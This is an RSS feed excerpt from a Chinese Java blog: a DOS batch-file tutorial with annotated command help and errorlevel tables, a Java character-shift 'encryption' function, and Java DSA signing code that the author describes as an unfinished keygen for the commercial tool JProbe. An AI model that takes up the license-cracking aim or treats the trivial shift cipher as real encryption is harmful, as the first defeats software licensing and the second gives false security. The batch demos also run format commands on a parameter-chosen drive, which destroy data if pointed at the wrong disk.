表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）。 <br />==== willsort 编注 ============================================= <br />此处的描述较为混乱, 不如直接引用个命令的命令行帮助更为条理 <br />----------------------------------------------------------------- <br />                ECHO <br />当程序运行时，显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。 <br />在运行批处理程序时，MS-DOS一般在屏幕上显示（回显）批处理程序中的命令。 <br />使用ECHO命令可关闭此功能。 <br />语法 <br />ECHO [ON|OFF] <br />若要用echo命令显示一条命令，可用下述语法： <br />echo [message] <br />参数 <br />ON|OFF <br />指定是否允许命令的回显。若要显示当前的ECHO的设置，可使用不带参数的ECHO <br />命令。 <br />message <br />指定让MS-DOS在屏幕上显示的正文。 <br />----------------------------------------------------------------- <br />                CALL <br />从一个批处理程序中调用另一个批处理程序，而不会引起第一个批处理的中止。 <br />语法 <br />CALL [drive:][path]filename [batch-parameters] <br />参数 <br />[drive:][path]filename <br />指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。 <br /> <br />batch-parameters <br />指定批处理程序所需的命令行信息。 <br />---------------------------------------------------------------------------- <br />              PAUSE <br />暂停批处理程序的执行并显示一条消息，提示用户按任意键继续执行。只能在批处 <br />理程序中使用该命令。 <br />语法 <br />PAUSE <br />---------------------------------------------------------------------------- <br />                REM <br />在批处理文件或CONFIG.SYS中加入注解。也可用REM命令来屏蔽命令（在CONFIG.SYS <br />中也可以用分号(;)代替REM命令，但在批处理文件中则不能替代）。 <br />语法 <br />REM [string] <br />参数 <br />string <br />指定要屏蔽的命令或要包含的注解。 <br />================================================================ <br />例1：用edit编辑a.bat文件，输入下列内容后存盘为c:\a.bat，执行该批处理文件后可实现：将根目录中所有文件写入 a.txt中，启动UCDOS，进入WPS等功能。 <br />　　批处理文件的内容为: 　　　　　　　 命令注释： <br />　　　　@echo off　　　　　　　　　　　不显示后续命令行及当前命令行 <br />　　　　dir c:\*.* &gt;a.txt　　　　　　　将c盘文件列表写入a.txt <br />　　　　call c:\ucdos\ucdos.bat　　　　调用ucdos <br />　　　　echo 你好 　　　　　　　　　　 显示"你好" <br />　　　　pause 　　　　　　　　　　　　 暂停,等待按键继续 <br />　　　　rem 准备运行wps 　　　　　　　 注释：准备运行wps <br />　　　　cd ucdos　　　　　　　　　　　 进入ucdos目录 <br />　　　　wps 　　　　　　　　　　　　　 运行wps　　 <br />批处理文件的参数 <br />批处理文件还可以像C语言的函数一样使用参数（相当于DOS命令的命令行参数），这需要用到一个参数表示符“%”。 <br />%[1-9]表示参数，参数是指在运行批处理文件时在文件名后加的以空格（或者Tab）分隔的字符串。变量可以从%0到%9，%0表示批处理命令本身，其它参数字符串用%1到%9顺序表示。 <br />例2：C:根目录下有一批处理文件名为f.bat，内容为： <br />@echo off <br />format %1 <br />如果执行C:\&gt;f a: <br />那么在执行f.bat时，%1就表示a:，这样format %1就相当于format a:，于是上面的命令运行时实际执行的是format a: <br />例3：C:根目录下一批处理文件名为t.bat，内容为: <br />@echo off <br />type %1 <br />type %2 <br />那么运行C:\&gt;t a.txt b.txt <br />%1 : 表示a.txt <br />%2 : 表示b.txt <br />于是上面的命令将顺序地显示a.txt和b.txt文件的内容。 <br />特殊命令 <br />if goto choice for是批处理文件中比较高级的命令，如果这几个你用得很熟练，你就是批处理文件的专家啦。 <br />一、if 是条件语句，用来判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式: <br />1、if [not] "参数" == "字符串" 待执行的命令 <br />参数如果等于(not表示不等，下同)指定的字符串，则条件成立，运行命令，否则运行下一句。 <br />例：if "%1"=="a" format a: </p>
		<p>if 的命令行帮助中关于此点的描述为: <br />  IF [NOT] string1==string2 command <br />在此有以下几点需要注意: <br />  1. 包含字符串的双引号不是语法所必须的, 而只是习惯上使用的一种"防空"字符 <br />  2. string1 未必是参数, 它也可以是环境变量, 循环变量以及其他字符串常量或变量 <br />  3. command 不是语法所必须的, string2 后跟一个空格就可以构成一个有效的命令行 <br />================================================================ <br />2、if [not] exist [路径\]文件名 待执行的命令 <br />如果有指定的文件，则条件成立，运行命令，否则运行下一句。 <br />如: if exist c:\config.sys type c:\config.sys <br />表示如果存在c:\config.sys文件，则显示它的内容。 <br />****** willsort 编注 ******** <br />也可以使用以下的用法: <br />  if exist &lt;device&gt; command <br />device 是指DOS系统中已加载的设备, 在win98下通常有: <br />  AUX, PRN, CON, NUL <br />  COM1, COM2, COM3, COM4 <br />  <br />   LPT1, LPT2, LPT3, LPT4 <br />  XMSXXXX0, EMMXXXX0 <br />  A: B: C: ..., <br />  CLOCK$, CONFIG$, DblBuff$, IFS$HLP$ <br />具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点: <br />  1. 该设备确实存在(由软件虚拟的设备除外) <br />  2. 该设备驱动程序已加载(aux, prn等标准设备由系统缺省定义) <br />  3. 该设备已准备好(主要是指a: b: ..., com1..., lpt1...等) <br />可通过命令 mem/d | find "device" /i 来检阅你的系统中所加载的设备 <br />另外, 在DOS系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为设备(device)与文件都是使用句柄(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即指在内存中为其分配可引用的句柄. <br />================================================================ <br />3、if errorlevel &lt;数字&gt; 待执行的命令 <br />很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态)，通过if errorlevel命令可以判断程序的返回值，根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字，则条件成立，运行命令，否则运行下一句。 <br />如if errorlevel 2 goto x2 <br />==== willsort 编注 ==================================================== <br />返回值从大到小的顺序排列不是必须的, 而只是执行命令为 goto 时的习惯用法, 当使用 set 作为执行命令时, 通常会从小到大顺序排列, 比如需将返回码置入环境变量, 就需使用以下的顺序形式: <br />if errorlevel 1 set el=1 <br />if errorlevel 2 set el=2 <br />if errorlevel 3 set el=3 <br />if errorlevel 4 set el=4 <br />if errorlevel 5 set el=5 <br />... <br />当然, 也可以使用以下循环来替代, 原理是一致的: <br />for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e <br />更高效简洁的用法, 可以参考我写的另一篇关于获取 errorlevel 的文章 <br />出现此种现象的原因是, if errorlevel 比较返回码的判断条件并非等于, 而是大于等于. 由于 goto 的跳转特性, 由小到大排序会导致在较小的返回码处就跳出; 而由于 set命令的 "重复" 赋值特性, 由大到小排序会导致较小的返回码 "覆盖" 较大的返回码. <br />另外, 虽然 if errorlevel=&lt;数字&gt; command 也是有效的命令行, 但也只是 command.com 解释命令行时将 = 作为命令行切分符而忽略掉罢了 <br />================================================================ <br />二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label，标号用:后跟标准字符串来定义)处，goto语句一般与if配合使用，根据不同的条件来执行不同的命令组。 <br />如: <br />goto end <br />:end <br />echo this is the end <br />标号用“:字符串”来定义，标号所在行不被执行。 <br />==== willsort 编注 ==================================================== <br />label 常被译为 "标签" , 但是这并不具有广泛的约定性. <br />goto &lt;label&gt; 与 :&lt;label&gt; 联用可实现执行中途的跳转, 再结合 if 可实现执行过程的条件分支, 多个 if 即可实现命令的分组, 类似 C 中 switch case 结构或者 Basic 中的 select case 结构, 大规模且结构化的命令分组即可实现高级语言中的函数功能. 以下是批处理和C/Basic在语法结构上的对照: <br />  Batch           C / Basic <br />  goto&amp;:           goto&amp;: <br />  goto&amp;:&amp;if         if{}&amp;else{} / if&amp;elseif&amp;endif <br />  goto&amp;:&amp;if...       switch&amp;case / select case <br />  goto&amp;:&amp;if&amp;set&amp;envar...   function() / function(),sub() <br />================================================================ <br />三、choice 使用此命令可以让用户输入一个字符（用于选择），从而根据用户的选择返回不同的errorlevel，然后于if errorlevel配合，根据用户的选择运行不同的命令。 <br /> <br /> 注意：choice命令为DOS或者Windows系统提供的外部命令，不同版本的choice命令语法会稍有不同，请用choice /?查看用法。 <br />choice的命令语法（该语法为Windows 2003中choice命令的语法，其它版本的choice的命令语法与此大同小异）： <br />CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text] <br />描述: <br />该工具允许用户从选择列表选择一个项目并返回所选项目的索引。 <br />参数列表: <br />/C   choices   指定要创建的选项列表。默认列表是 "YN"。 <br />/N         在提示符中隐藏选项列表。提示前面的消息得到显示， <br />        选项依旧处于启用状态。 <br />/CS       允许选择分大小写的选项。在默认情况下，这个工具 <br />        是不分大小写的。 <br />/T   timeout   做出默认选择之前，暂停的秒数。可接受的值是从 0 <br />        到 9999。如果指定了 0，就不会有暂停，默认选项 <br />        会得到选择。 <br />/D   choice   在 nnnn 秒之后指定默认选项。字符必须在用 /C 选 <br />        项指定的一组选择中; 同时，必须用 /T 指定 nnnn。 <br />/M   text     指定提示之前要显示的消息。如果没有指定，工具只 <br />        显示提示。 <br />/?         显示帮助消息。 <br />注意: <br />ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选 <br />择返回 1，第二个选择返回 2，等等。如果用户按的键不是有效的选择， <br />该工具会发出警告响声。如果该工具检测到错误状态，它会返回 255 的 <br />ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键，该工具会返回 0 <br />的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时，将参数降 <br />序排列。 <br />示例: <br />CHOICE /? <br />CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。" <br />CHOICE /T 10 /C ync /CS /D y <br />CHOICE /C ab /M "选项 1 请选择 a，选项 2 请选择 b。" <br />CHOICE /C ab /N /M "选项 1 请选择 a，选项 2 请选择 b。" <br />==== willsort 编注 ==================================================== <br />我列出win98下choice的用法帮助, 已资区分 <br />Waits for the user to choose one of a set of choices. <br />等待用户选择一组待选字符中的一个 <br />CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text] <br />/C[:]choices Specifies allowable keys. Default is YN <br />    指定允许的按键(待选字符), 默认为YN <br />/N     Do not display choices and ? at end of prompt string. <br />    不显示提示字符串中的问号和待选字符 <br />/S     Treat choice keys as case sensitive. <br />    处理待选字符时大小写敏感 <br />/T[:]c,nn   Default choice to c after nn seconds <br />    在 nn 秒后默认选择 c <br />text     Prompt string to display <br />    要显示的提示字符串 <br />ERRORLEVEL is set to offset of key user presses in choices. <br />ERRORLEVEL 被设置为用户键入的字符在待选字符中的偏移值 <br />================================================================ <br />如果我运行命令：CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。" <br />屏幕上会显示： <br />确认请按 Y，否请按 N，或者取消请按 C。 [Y,N,C]? </p>
		<p>例：test.bat的内容如下（注意，用if errorlevel判断返回值时，要按返回值从高到低排列）: <br />@echo off <br />choice /C dme /M "defrag,mem,end" <br />if errorlevel 3 goto end <br />if errorlevel 2 goto mem <br />if errorlevel 1 goto defrag <br />:defrag <br />c:\dos\defrag <br />goto end <br />:mem <br />mem <br />goto end <br />:end <br />echo good bye <br />此批处理运行后，将显示“defrag,mem,end[D,M,E]?” ，用户可选择d m e ，然后if语句根据用户的选择作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，批处理运行结束。 <br /> <br /> 四、for 循环命令，只要条件符合，它将多次执行同一命令。 <br />语法： <br />对一组文件中的每一个文件执行某个特定命令。 <br />FOR %%variable IN (set) DO command [command-parameters] <br />%%variable 指定一个单一字母可替换的参数。 <br />(set)   指定一个或一组文件。可以使用通配符。 <br />command   指定对每个文件执行的命令。 <br />command-parameters <br />    为特定命令指定参数或命令行开关。 <br />例如一个批处理文件中有一行: <br />for %%c in (*.bat *.txt) do type %%c <br />则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。 <br />==== willsort 编注 ==================================================== <br />需要指出的是, 当()中的字符串并非单个或多个文件名时, 它将单纯被当作字符串替换, 这个特性再加上()中可以嵌入多个字符串的特性, 很明显 for 可以被看作一种遍历型循环. <br />当然, 在 nt/2000/xp/2003 系列的命令行环境中, for 被赋予了更多的特性, 使之可以分析命令输出或者文件中的字符串, 也有很多开关被用于扩展了文件替换功能. <br />===============================================================＝ <br />批处理示例 <br />1. IF-EXIST <br />1) 首先用记事本在C:\建立一个test1.bat批处理文件，文件内容如下： <br />@echo off <br />IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT <br />IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist <br />然后运行它： <br />C:\&gt;TEST1.BAT <br />如果C:\存在AUTOEXEC.BAT文件，那么它的内容就会被显示出来，如果不存在，批处理就会提示你该文件不存在。 <br />2) 接着再建立一个test2.bat文件，内容如下： <br />@ECHO OFF <br />IF EXIST \%1 TYPE \%1 <br />IF NOT EXIST \%1 ECHO \%1 does not exist <br />执行: <br />C:\&gt;TEST2 AUTOEXEC.BAT <br />该命令运行结果同上。 <br />说明： <br />(1) IF EXIST 是用来测试文件是否存在的，格式为 <br />IF EXIST [路径+文件名] 命令 <br />(2) test2.bat文件中的%1是参数，DOS允许传递9个批参数信息给批处理文件，分别为%1~%9(%0表示test2命令本身) ，这有点象编程中的实参和形参的关系，%1是形参，AUTOEXEC.BAT是实参。 <br />==== willsort 编注 ==================================================== <br />DOS没有 "允许传递9个批参数信息" 的限制, 参数的个数只会受到命令行长度和所调用命令处理能力的限制. 但是, 我们在批处理程序中, 在同一时刻只能同时引用10个参数, 因为 DOS只给出了 %0~%9这十个参数引用符. <br />================================================================ <br />3) 更进一步的，建立一个名为TEST3.BAT的文件，内容如下： <br />@echo off <br />IF "%1" == "A" ECHO XIAO <br />IF "%2" == "B" ECHO TIAN <br />IF "%3" == "C" ECHO XIN <br />如果运行： <br />C:\&gt;TEST3 A B C <br />屏幕上会显示: <br />XIAO <br />TIAN <br />XIN <br />如果运行： <br />C:\&gt;TEST3 A B <br />屏幕上会显示 <br />XIAO <br />TIAN <br />在这个命令执行过程中，DOS会将一个空字符串指定给参数%3。 <br />2、IF-ERRORLEVEL <br />建立TEST4.BAT，内容如下： <br />@ECHO OFF <br />XCOPY C:\AUTOEXEC.BAT D:\ <br />IF ERRORLEVEL 1 ECHO 文件拷贝失败 <br />IF ERRORLEVEL 0 ECHO 成功拷贝文件 <br />然后执行文件: <br />C:\&gt;TEST4 <br />如果文件拷贝成功，屏幕就会显示“成功拷贝文件”，否则就会显示“文件拷贝失败”。 <br />IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的，注意只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。 <br />因此下面的批处理文件是错误的： <br />@ECHO OFF <br />XCOPY C:\AUTOEXEC.BAT D:\ <br />IF ERRORLEVEL 0 ECHO 成功拷贝文件 <br />IF ERRORLEVEL 1 ECHO 未找到拷贝文件 <br />IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作 <br />IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作 <br />IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误 <br />无论拷贝是否成功，后面的： <br />未找到拷贝文件 <br />用户通过ctrl-c中止拷贝操作 <br /> <br /> 预置错误阻止文件拷贝操作 <br />拷贝过程中写盘错误 <br />都将显示出来。 <br />以下就是几个常用命令的返回值及其代表的意义： <br />backup <br />0 备份成功 <br />1 未找到备份文件 <br />2 文件共享冲突阻止备份完成 <br />3 用户用ctrl-c中止备份 <br />4 由于致命的错误使备份操作中止 <br />diskcomp <br />0 盘比较相同 <br />1 盘比较不同 <br />2 用户通过ctrl-c中止比较操作 <br />3 由于致命的错误使比较操作中止 <br />4 预置错误中止比较 <br />diskcopy <br />0 盘拷贝操作成功 <br />1 非致命盘读/写错 <br />2 用户通过ctrl-c结束拷贝操作 <br />3 因致命的处理错误使盘拷贝中止 <br />4 预置错误阻止拷贝操作 <br />format <br />0 格式化成功 <br />3 用户通过ctrl-c中止格式化处理 <br />4 因致命的处理错误使格式化中止 <br />5 在提示“proceed with format（y/n）?”下用户键入n结束 <br />xcopy <br />0 成功拷贝文件 <br />1 未找到拷贝文件 <br />2 用户通过ctrl-c中止拷贝操作 <br />4 预置错误阻止文件拷贝操作 <br />5 拷贝过程中写盘错误 <br />==== willsort 编注 ==================================================== <br />chkdsk <br />0   未找到错误 <br />255 找到一个或多个错误 <br />choice <br />0   用户按下ctrl+c/break <br />1   用户按下第一个键 <br />255 检测到命令行中的错误条件 <br />其它 用户按下的有效字符在列表中的位置 <br />defrag <br />0   碎片压缩成功 <br />1   出现内部错误 <br />2   磁盘上没有空簇。要运行DEFRAG，至少要有一个空簇 <br />3   用户用Ctrl+C退出了DEFRAG <br />4   出现一般性错误 <br />5   DEFRAG在读簇时遇到错误 <br />6   DEFRAG在写簇时遇到错误 <br />7   分配空间有错 <br />8   内存错 <br />9   没有足够空间来压缩磁盘碎片 <br />deltree <br />0   成功地删除一个目录 <br />diskcomp <br />0   两盘相同 <br />1   发现不同 <br />2   按CTRL+C 终止了比较 <br />3   出现严重错误 <br />4   出现初始化错误 <br />find <br />0   查找成功且至少找到了一个匹配的字符串 <br />1   查找成功但没找到匹配的字符串 <br />2   查找中出现了错误 <br />keyb <br />0   键盘定义文件装入成功 <br />1   使用了非法的键盘代码，字符集或语法 <br />2   键盘定义文件坏或未找到 <br />4   键盘、监视器通讯时出错 <br />5   要求的字符集未准备好 <br />move <br />0   成功地移动了指定的文件 <br />1   发生了错误 <br />msav /N <br />86   检查到了病毒 <br />replace <br />0   REPLACE成功地替换或加入了文件 <br />1   MS-DOS版本和REPLACE不兼容 <br />2   REPLACE找不到源文件 <br />3   REPLACE找不到源路径或目标路径 <br />5   不能存取要替换的文件 <br />8   内存不够无法执行REPLACE <br />11   命令行句法错误 <br />restore <br />0   RESTORE成功地恢复了文件 <br />1   RESTORE找不到要恢复的文件 <br />3   用户按CTRL+C终止恢复过程 <br />4   RESTORE因错误而终止 <br />scandisk <br />0   ScanDisk在它检查的驱动器上未检测到任何错误 <br />1   由于命令行的语法不对，不能运行ScanDisk <br />2   由于内存用尽或发生内部错误，ScanDisk意外终止 <br />3   用户让ScanDisk中途退出 <br />4   进行盘面扫描时，用户决定提前退出 <br />254 ScanDisk找到磁盘故障并已全部校正 <br />255 ScanDisk找到磁盘故障，但未能全部校正 <br />setver <br />0   SETVER成功地完成了任务 <br />1   用户指定了一个无效的命令开关 <br />2   用户指定了一个非法的文件名 <br />3   没有足够的系统内存来运行命令 <br />4   用户指定了一个非法的版本号格式 <br />5   SETVER在版本表中未找到指定的项 <br />6   SETVER未找到SETVER.EXE文件 <br />7   用户指定了一个非法的驱动器 <br />8   用户指定了太多的命令行参数 <br />9   SETVER检测到丢失了命令行参数 <br />10   在读SETVER.EXE文件时，SETVER检测到发生错误 <br />11   SETVER.EXE文件损坏 <br />12   指定的SETVER.EXE文件不支持版本表 <br />13   版本表中没有足够的空间存放新的项 <br />14   在写SETVER.EXE文件时SETVER检测到发生错误 <br />================================================================ <br />3、IF STRING1 == STRING2 <br />建立TEST5.BAT，文件内容如下： <br />@echo off <br />IF "%1" == "A" FORMAT A: <br />执行： <br />C:\&gt;TEST5 A <br />屏幕上就出现是否将A:盘格式化的内容。 <br />注意：为了防止参数为空的情况，一般会将字符串用双引号（或者其它符号，注意不能使用保留符号）括起来。 <br />如：if [%1]==[A] 或者 if %1*==A* <br />5、GOTO <br />建立TEST6.BAT，文件内容如下： <br />@ECHO OFF <br />IF EXIST C:\AUTOEXEC.BAT GOTO _COPY <br />GOTO _DONE <br />:_COPY <br />COPY C:\AUTOEXEC.BAT D:\ <br />:_DONE <br />注意： <br />(1) 标号前是ASCII字符的冒号":"，冒号与标号之间不能有空格。 <br />(2) 标号的命名规则与文件名的命名规则相同。 <br />(3) DOS支持最长八位字符的标号，当无法区别两个标号时，将跳转至最近的一个标号。 <br />==== willsort 编注 ==================================================== <br />1)标号也称作标签(label) <br />2)标签不能以大多数的非字母数字字符开始, 而文件名中则可以使用很多 <br />3)当无法区别两个标签时, 将跳转至位置最靠前的标签 <br />================================================================ <br />6、FOR <br />建立C:\TEST7.BAT，文件内容如下： <br />@ECHO OFF <br />FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C <br />运行： <br />C:\&gt;TEST7 <br />执行以后，屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来（不包括隐藏文件）。 <br /> </p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/102369.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2007-03-07 13:04 <a href="http://www.blogjava.net/galaxyp/archive/2007/03/07/102369.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>简单的字符转换和反转换函数</title><link>http://www.blogjava.net/galaxyp/archive/2007/02/07/98478.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Wed, 07 Feb 2007 00:55:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/02/07/98478.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/98478.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/02/07/98478.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/98478.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/98478.html</trackback:ping><description><![CDATA[
		<p>加密解密时可以用到，只支持小写字母的转换。<br /><br /> private String dmix(String str1)<br />    {<br />        int MAX_COUNT = 20;<br />        char ca[] = str1.toCharArray();<br />        int count = 0;<br />        for(int i = 0; i &lt; ca.length; i++)<br />        {<br />            int a = ca[i] - count;<br />            ca[i] = (char)a;<br />            if(ca[i] &lt; 'a')<br />                ca[i] += '\032';<br />            count = ++count % MAX_COUNT;<br />        }</p>
		<p>        StringBuffer sb = new StringBuffer();<br />        sb.append(ca);<br />        return sb.toString();<br />    }<br />    public String mix(String str1)<br />    {<br />     int MAX_COUNT = 20;<br />        char ca[] = str1.toCharArray();<br />        int count = 0;<br />        for(int i = 0; i &lt; ca.length; i++)<br />        {<br />         int a=0;<br />            a = ca[i] + count;<br />            ca[i] = (char)a;<br />            if(ca[i] &gt; 'z')<br />                ca[i] -= '\032';<br />            count = ++count % MAX_COUNT;<br />        }</p>
		<p>        StringBuffer sb = new StringBuffer();<br />        sb.append(ca);<br />        return sb.toString();<br />    }<br /></p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/98478.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2007-02-07 08:55 <a href="http://www.blogjava.net/galaxyp/archive/2007/02/07/98478.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>java DSA 数字签名</title><link>http://www.blogjava.net/galaxyp/archive/2006/12/27/90219.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Wed, 27 Dec 2006 01:41:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2006/12/27/90219.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/90219.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2006/12/27/90219.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/90219.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/90219.html</trackback:ping><description><![CDATA[
		<p>        在下面的代码中，把DSA的公钥和私钥保存在文件中，要使用该代码你需要先得到DSA算法的公钥和私钥才行。其实下面的代码就是JProbe 6.0.2 不完整分析的注册机，本打算在看雪论坛混片精华，分析到后来才发现注册文件在二进制代码中有多处验证，这不是我的强项，再加上年末事情较多，所以只好放弃。<br /><br />public final class Codecs<br />{</p>
		<p>    private Codecs()<br />    {<br />    }</p>
		<p>    public static final byte[] base64Encode(byte abyte0[])<br />    {<br />        if(abyte0 == null)<br />            return null;<br />        byte abyte1[] = new byte[((abyte0.length + 2) / 3) * 4];<br />        int i = 0;<br />        int j = 0;<br />        for(; i &lt; abyte0.length - 2; i += 3)<br />        {<br />            abyte1[j++] = Base64EncMap[abyte0[i] &gt;&gt;&gt; 2 &amp; 0x3f];<br />            abyte1[j++] = Base64EncMap[abyte0[i + 1] &gt;&gt;&gt; 4 &amp; 0xf | abyte0[i] &lt;&lt; 4 &amp; 0x3f];<br />            abyte1[j++] = Base64EncMap[abyte0[i + 2] &gt;&gt;&gt; 6 &amp; 3 | abyte0[i + 1] &lt;&lt; 2 &amp; 0x3f];<br />            abyte1[j++] = Base64EncMap[abyte0[i + 2] &amp; 0x3f];<br />        }</p>
		<p>        if(i &lt; abyte0.length)<br />        {<br />            abyte1[j++] = Base64EncMap[abyte0[i] &gt;&gt;&gt; 2 &amp; 0x3f];<br />            if(i &lt; abyte0.length - 1)<br />            {<br />                abyte1[j++] = Base64EncMap[abyte0[i + 1] &gt;&gt;&gt; 4 &amp; 0xf | abyte0[i] &lt;&lt; 4 &amp; 0x3f];<br />                abyte1[j++] = Base64EncMap[abyte0[i + 1] &lt;&lt; 2 &amp; 0x3f];<br />            } else<br />            {<br />                abyte1[j++] = Base64EncMap[abyte0[i] &lt;&lt; 4 &amp; 0x3f];<br />            }<br />        }<br />        for(; j &lt; abyte1.length; j++)<br />            abyte1[j] = 61;</p>
		<p>        return abyte1;<br />    }</p>
		<p>    public static final byte[] base64Decode(byte abyte0[])<br />    {<br />        if(abyte0 == null)<br />            return null;<br />        int i;<br />        for(i = abyte0.length; abyte0[i - 1] == 61; i--);<br />        byte abyte1[] = new byte[i - abyte0.length / 4];<br />        for(int j = 0; j &lt; abyte0.length; j++)<br />            abyte0[j] = Base64DecMap[abyte0[j]];</p>
		<p>        int k = 0;<br />        int l;<br />        for(l = 0; l &lt; abyte1.length - 2; l += 3)<br />        {<br />            abyte1[l] = (byte)(abyte0[k] &lt;&lt; 2 &amp; 0xff | abyte0[k + 1] &gt;&gt;&gt; 4 &amp; 3);<br />            abyte1[l + 1] = (byte)(abyte0[k + 1] &lt;&lt; 4 &amp; 0xff | abyte0[k + 2] &gt;&gt;&gt; 2 &amp; 0xf);<br />            abyte1[l + 2] = (byte)(abyte0[k + 2] &lt;&lt; 6 &amp; 0xff | abyte0[k + 3] &amp; 0x3f);<br />            k += 4;<br />        }</p>
		<p>        if(l &lt; abyte1.length)<br />            abyte1[l] = (byte)(abyte0[k] &lt;&lt; 2 &amp; 0xff | abyte0[k + 1] &gt;&gt;&gt; 4 &amp; 3);<br />        if(++l &lt; abyte1.length)<br />            abyte1[l] = (byte)(abyte0[k + 1] &lt;&lt; 4 &amp; 0xff | abyte0[k + 2] &gt;&gt;&gt; 2 &amp; 0xf);<br />        return abyte1;<br />    }</p>
		<p>    private static byte Base64EncMap[];<br />    private static byte Base64DecMap[];</p>
		<p>    static <br />    {<br />        byte abyte0[] = {<br />            65, 66, 67, 68, 69, 70, 71, 72, 73, 74, <br />            75, 76, 77, 78, 79, 80, 81, 82, 83, 84, <br />            85, 86, 87, 88, 89, 90, 97, 98, 99, 100, <br />            101, 102, 103, 104, 105, 106, 107, 108, 109, 110, <br />            111, 112, 113, 114, 115, 116, 117, 118, 119, 120, <br />            121, 122, 48, 49, 50, 51, 52, 53, 54, 55, <br />            56, 57, 43, 47<br />        };<br />        Base64EncMap = abyte0;<br />        Base64DecMap = new byte[128];<br />        for(int i = 0; i &lt; Base64EncMap.length; i++)<br />            Base64DecMap[Base64EncMap[i]] = (byte)i;</p>
		<p>    }<br />}<br /><br />import java.io.UnsupportedEncodingException;</p>
		<p>public final class SignableBlock<br />{</p>
		<p>    private SignableBlock()<br />    {<br />    }</p>
		<p>    public static byte[] createSignableBlock(String as[])<br />        throws UnsupportedEncodingException<br />    {<br />        StringBuffer stringbuffer = new StringBuffer(256);<br />        for(int i = 0; i &lt; as.length; i++)<br />            stringbuffer.append(as[i]);</p>
		<p>        return stringbuffer.toString().getBytes("UTF-8");<br />    }<br />}<br /><br />import java.io.UnsupportedEncodingException;<br />import java.security.*;</p>
		<p>
				<br />final class ValidateSignature<br />{</p>
		<p>    private ValidateSignature()<br />    {<br />    }<br />    <br />    public static void main(String[] args)<br />    {<br />     String[] as = {"qq:8117892","<a href="http://www.blogjava.net/galaxyp&quot;,&quot;DSA">www.blogjava.net/galaxyp","DSA</a>数字签名"};<br />     String s = "MCwCFFSpNp/n4Mq24FDXyVkk/kr815yHAhQO0TLslIJOqUes4OFn0ARvFaAVOw==";<br />     try{<br />      System.out.println(validateSignature(as,s));<br />     }catch(Exception e){}<br />    }</p>
		<p>    private static boolean validate(byte abyte0[], byte abyte1[])<br />    {<br />        Signature signature = null;<br />        boolean flag = false;<br />        try<br />        {<br />         java.io.ObjectInputStream in=new java.io.ObjectInputStream(new java.io.FileInputStream("myprikey.dat"));<br />            PrivateKey prikey=(PrivateKey)in.readObject();<br />            in.close();<br />            <br />            java.io.ObjectInputStream in2=new java.io.ObjectInputStream(new java.io.FileInputStream("mypubkey.dat"));<br />            PublicKey pubkey=(PublicKey)in2.readObject();<br />            in2.close();<br />            <br />            signature = Signature.getInstance("SHA/DSA");<br />            <br />            signature.initSign(prikey);<br />            signature.update(abyte0);<br />            byte[] bt = signature.sign();<br />            String encode =new String(Codecs.base64Encode(bt),"UTF-8");<br />            System.out.println(encode);<br />            <br />            signature.initVerify(pubkey);<br />            signature.update(abyte0);<br />            <br />            flag = signature.verify(abyte1);<br />        }<br />        catch(Exception e)<br />        {  <br />            return false;<br />        }<br />        return flag;<br />    }</p>
